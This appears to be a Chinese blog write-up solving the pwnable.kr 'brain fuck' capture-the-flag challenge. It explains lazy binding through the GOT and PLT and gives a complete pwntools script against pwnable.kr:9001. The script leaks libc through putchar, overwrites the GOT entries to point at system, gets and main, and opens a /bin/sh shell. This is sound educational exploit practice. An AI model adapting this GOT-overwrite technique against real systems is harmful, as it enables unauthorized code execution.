Home pwnable.kr brain fuck
Post
Cancel

pwnable.kr brain fuck

题目描述

  • 移动一个指针,次数最多1024次
  • 可以逐字节修改GOT表
  • 可以修改BSS的一些内容

解题思路

1
2
3
4
5
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
  • 很明显的部分地址段任意读写,因此主要利用GOT覆写技术去操作。
  • 由于延迟绑定,当我们调用一次putchar,在GOT表会记录putchar的真实地址,使用getchar逐字节泄漏他
  • 根据libc获取offset,从而获得libc基地址
  • 覆盖GOT表,主要任务如下
    • putchar -> main 使得我们能二次进入main程序
    • memset -> gets 读入/bin/sh
    • fgets -> system
  • get shell

延迟绑定

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
											      GOT
                      +--------------+
      ELF          +> | puts@glibc   +---+        GLIBC
+-------------+    |  +--------------+   |   +--------------+
|             +-+  |  | printf@glibc |   |   |              |
| call <puts> | |  |  +--------------+   +-> | puts entry   |
|             | |  |  | scanf@glibc  |       |              |
+-------------+ |  |  +--------------+       +--------------+
                |  |  |     ...      |
                |  |  +--------------+
                |  |
 +--------------+  +-------+
 |                         |
 |    +-----------------+  |
 +--> | puts@plt        |  |
      +-----------------+  |
      | jmp   *puts@got +--+
      | push  puts_id   |
      | jmp   resolver  |
      +-----------------+
      |       ...       |
      +-----------------+

完成延迟绑定的关键就在于三条指令中的后两句。在程序编译的时候,编译器会在函数对应的GOT表中填入一个初始值,这个初始值会被设置成对应PLT项中第二句指令的地址。这会使得:当程序第一次调用某一函数时,程序会运行到PLT的第一条指令,取出GOT表中的值并跳转过去,而此时GOT表中的值指向了第二条指令,所以这个跳转相当于顺序执行了第二条指令。这时第二条指令就会将对应的符号表序号压入堆栈,并在第三条指令跳转到一个resolver的入口,resolver会:

  • 根据堆栈中符号表的序号解析出对应函数的真实地址
  • 将真实地址填入GOT表中,替换掉一开始的初始值
  • 跳转到对应函数,并继续执行,调用结束后可以直接返回到调用的地方

如此,程序就顺利的调用了所需要的函数,同时GOT表中的地址也变成了真实的函数地址。此后,如果程序再次调用相同的函数,因为GOT表中的地址已经被替换,则PLT中的第一条指令就可以直接让程序跳转到目标函数。

解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
from ctypes import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

elf = ELF('./bf')
libc = ELF('./bf_libc.so')
# p = process('./bf')
p = remote('pwnable.kr',9001)

def debug(cmd=""):
    gdb.attach(p, cmd)
    pause()

putchar_got_addr = elf.got['putchar']
fgets_got_addr = elf.got['fgets']
memset_got_addr = elf.got['memset']
puts_got_addr = elf.got['puts']

system_libc_offset = libc.symbols['system']
putchar_libc_offset = libc.symbols['putchar']
memset_libc_offset = libc.symbols['memset']
puts_libc_offset = libc.symbols['puts']
gets_libc_offset = libc.symbols['gets']

tape_addr = 0x0804A0A0
main_addr = 0x08048671 

data = flat(
    [   b'.',
        # leak
        (tape_addr - putchar_got_addr) * b'<',
        b'.>' * 4,
        # modify fgets to system
        (4 + putchar_got_addr - fgets_got_addr) * b'<',
        b',>,>,>,>',
        
        # modify memset to gets
        (memset_got_addr - puts_got_addr + 4) * b'>',
        b',>,>,>,>',
        
        # modify putchar to main
        b',>,>,>,>.',
    ]
)

print(len(data))

p.sendlineafter(b"[ ]",data)
p.recvuntil(b"\x00")

putchar_real_addr = struct.unpack('I',p.recv(4))[0]
libc_base_addr = putchar_real_addr - putchar_libc_offset
log.success(f"[system]{hex(system_libc_offset+libc_base_addr)}")
log.success(f"[gets]{hex(libc_base_addr + gets_libc_offset)}")

p.sendline(p32(system_libc_offset+libc_base_addr) + p32(libc_base_addr + gets_libc_offset) + p32(main_addr) + b'/bin/sh\x00') # /bin/sh 必须紧跟 否则换行还在缓冲区中,gets将读不到任何内容
p.interactive()
This post is licensed under CC BY 4.0 by the author.